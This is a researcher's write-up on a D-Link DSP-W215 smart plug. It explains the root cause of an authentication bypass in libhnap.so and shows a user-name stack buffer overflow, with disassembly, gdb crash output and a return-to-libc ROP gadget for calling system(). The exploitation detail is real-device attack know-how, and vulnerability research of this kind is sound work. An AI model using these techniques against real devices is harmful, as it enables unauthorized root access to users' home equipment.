Unauthenticated code execution on the D-Link DSP-W215 smart plug.
- identifying the error leading to the authentication bypass
- buffer overflow in the user name of the login form
- second root shell on the plug
Coming back to the authentication bypass
Having a first root shell allows to:
- perform remote debugging of the actual plug after uploading
- download of the plug’s
config.sqlite, which can then be used in
qemu, from which one gets some information:
sqlite3 config.sqlite <snip> sqlite> .schema <snip> CREATE TABLE IF NOT EXISTS "DeviceSecurity" ("UserLevel" CHAR NOT NULL , "UserName" VARCHAR NOT NULL , "UserPwd" VARCHAR NOT NULL ); <snip> sqlite> select * from DeviceSecurity; 1|admin|123456
- check the NX and ASLR protections as mentionned in Part 3. In particular, since only the stack position is randomized, having access to the plug with this first shell allows to get the bases of all shared libraries.
- obtain the kernel version:
uname -a Linux DSP-W215 2.6.31 #1 Wed Oct 22 15:51:16 CST 2014 mips GNU/Linux
After enjoying this root shell, I wanted to find the reason behind the authentication bypass discussed in Part 1
A few strings searches quickly led me to the
libhnap.so, and in particular to the following block
0x6610 addiu $s0, $sp, 0x288+var_C4 0x6614 la $t9, memset 0x6618 li $a2, 0x96 0x661c move $a0, $s0 0x6620 jalr $t9 ; memset 0x6624 move $a1, $zero 0x6628 lw $gp, 0x288+var_270($sp) 0x662c move $a0, $s0 0x6630 addiu $s1, $sp, 0x288+var_1E8 0x6634 li $a1, 0x20000 0x6638 la $t9, strcpy 0x663c addiu $fp, $sp, 0x14C 0x6640 jalr $t9 ; strcpy 0x6644 addiu $a1, (aUsername - 0x20000) # "UserName" 0x6648 lw $gp, 0x288+var_270($sp) 0x664c lw $a0, 0x288+var_260($sp) # pointer to user name 0x6650 la $t9, tolower 0x6654 nop 0x6658 jalr $t9 ; tolower 0x665c nop 0x6660 lw $gp, 0x288+var_270($sp) 0x6664 move $a1, $v0 0x6668 la $t9, strcpy 0x666c nop 0x6670 jalr $t9 ; strcpy 0x6674 addiu $a0, $sp, 0x288+var_92 0x6678 lw $gp, 0x288+var_270($sp) 0x667c move $a0, $s1 0x6680 move $a1, $zero 0x6684 la $t9, memset 0x6688 nop 0x668c jalr $t9 ; memset 0x6690 li $a2, 0x52 0x6694 lw $gp, 0x288+var_270($sp) 0x6698 move $a1, $s0 0x669c move $a0, $s1 0x66a0 la $t9, getDeviceSecurity 0x66a4 nop 0x66a8 jalr $t9 ; getDeviceSecurity 0x66ac li $a2, 1 0x66b0 lw $gp, 0x288+var_270($sp) 0x66b4 move $a0, $s4 0x66b8 la $t9, getLoginInfo 0x66bc nop 0x66c0 jalr $t9 ; getLoginInfo 0x66c4 move $a1, $fp 0x66c8 move $s0, $v0 0x66cc li $v0, 1 0x66d0 lw $gp, 0x288+var_270($sp) 0x66d4 bne $s0, $v0, loc_6A50 0x66d8 nop
This block is executed when the client performs a login
login SOAP action
(see Part2), after checking that
the user name (given in the login form) is not empty.
Basically, what happens in the above block is:
- 0x6610-0x6624: a stack buffer of size 0x96 (@ sp + 0x1c4, with 0x1c4 being 0x288 - 0xc4) is zeroed out.
- 0x6628-0x6644: the string “UserName” is copied to the beginning of this buffer.
- 0x6648-0x665c: this is pure nonsense. Reading too fast, it seems that
the user name given in the login form is converted to lower case (the user
name is stored on the heap, and there is a pointer to it stored on the
stack @ sp + 0x28, with 0x28 = 0x288 - 0x260). But reading
tolower()’s man page
tolower()does not convert a string to lower case, and does not take a pointer to char as argument!
- 0x6660-0x6674: the user name is copied into the previously zeroed out buffer, 50 (0xc4 - 0x92) bytes after the beginning of this buffer. Yes, you spotted it too, there is an old school buffer overflow here, see next section for its exploitation!
- 0x6678-0x6690: a stack buffer of size 0x52 (@ sp + 0xa0, with 0xa0 being 0x288 - 0x1e8) is zeroed out
- 0x6694-0x66ac: this buffer is filled with the credentials of the user
(user level, name and password) stored in the database by
getDeviceSecurity(), if the user name corresponds to an existing user name in the database. For the plug, only “admin” exists in the database. The buffer remains filled with null bytes if the user name is not found in the database. From dynamical analysis, it turns out that
getDeviceSecurity()is not case sensitive (with respect to the user name), explaining the behaviour noticed in Part 1
- 0x66b0-…: whatever happened before, the execution goes on, unchanged,
because no check whatsoever is performed when
getDeviceSecurity()returns. This means that if the user name was not found in the database, the buffer supposed to contain the credentials (user level, name and password) remains empty. And all the authentication steps that follow will be done with an empty password. So we now know why the authentication bypass works.
Up to now, I have refrained from mocking the people responsible for the firmware running on the plug, because Errare humanum est. But the full latin expression is: Errare humanum est, perseverare diabolicum, so the following seems really well deserved
Good old buffer overflow
The good news is that what I have playfully dubbed “PlugCTF” goes on, since
a new level has been unlocked!
Injecting a long enough user name leads to a control of the
ra (hence the
pc) register, as well as of all
s* registers. Injecting the
pwntools de Bruijn pattern
of length 146 (obtained with
(gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x61626c61 in ?? () (gdb) i r zero at v0 v1 a0 a1 a2 a3 R0 00000000 1000a400 00000000 ffffffff 77edb36f 0000000a 00000000 0a0a0a0a t0 t1 t2 t3 t4 t5 t6 t7 R8 81010100 7efefeff 00000002 00000024 00000025 00000807 00000800 00000400 s0 s1 s2 s3 s4 s5 s6 s7 R16 61626361 61626461 61626561 61626661 61626761 61626861 61626961 61626a61 t8 t9 k0 k1 gp sp s8 ra R24 00000008 77e08eb0 00000040 00000000 77ef88b0 7fff30b8 61626b61 61626c61 status lo hi badvaddr cause pc 0000a413 00000000 00000000 61626c60 10800008 61626c61 fcsr fir restart 00000000 00739300 00000000
The name should not be too long though, because some data (probably some pointers, but I did not try to understand this in detail) from previous stack frames get crushed while still in use. Injecting a pattern whose length is 205 or more leads to:
Program received signal SIGSEGV, Segmentation fault. 0x77e25630 in free () from ./lib/libc.so.0 (gdb) bt #0 0x77e25630 in free () from ./lib/libc.so.0 #1 0x77f3b648 in create_select_cmd () from ./lib/libmiddleware.so #2 0x77f3b7b8 in exec_sql () from ./lib/libmiddleware.so #3 0x77f370b0 in select_data () from ./lib/libmiddleware.so #4 0x77f398d8 in getDeviceSecurity () from ./lib/libmiddleware.so #5 0x77ec86b0 in check_login_addr () from ./lib/libhnap.so #6 0x61626c61 in ?? ()
Apart from this constraint on the length, we must take care of the following:
- the user name is used in a SOAP action, so one must be careful not to
inject characters like ‘<‘, since such a character is interpreted and
could lead to an error, before the
web_cgi.cgibinary has a chance of being called (see the discussion about SOAP injection in Part1).
- null bytes are of course forbidden because of
strcpy(). Furthermore, since we deal with Big Endianness, we cannot return even once to code, which resides in the
r-xmemory mapping 0x00400000-0x0040a000.
- the stack position is randomized on the plug (but not the shared libraries position, see Part3)
Given the lack of randomization of shared libraries bases,
it is much easier to use the classical
return to libc, and
Using Craig Heffner’s
mipsrop IDA plugin,
mipsrop.find("jalr $t9") against
yields 1165 gadgets. While looking for gadgets using the content of register
s0 for the
jalr instruction, I found the following beauty:
0x1549c addiu $s5, $sp, 0x10 0x154a0 move $a1, $s3 0x154a4 move $a2, $s1 0x154a8 move $t9, $s0 0x154ac jalr $t9 0x154b0 move $a0, $s5
- 0x1549c and 0x154b0: these two instructions will let
a0point to the stack without needing a stack leak! We’ll make it point to the command string we wish
- 0x154a0 and 0x154a4: these are useless since
system()has a single argument, but would be useful for functions taking up to 3 arguments.
- 0x154a8 and 0x154ac: these will call
s0contains the address of
systemin the libc.
I learnt a lot while playing PlugCTF, so I really do not regret spending 38€! I wonder what I’ll be doing with this plug now. Maybe somebody would be interested buying it second hand. I promise I did not backdoor it 😄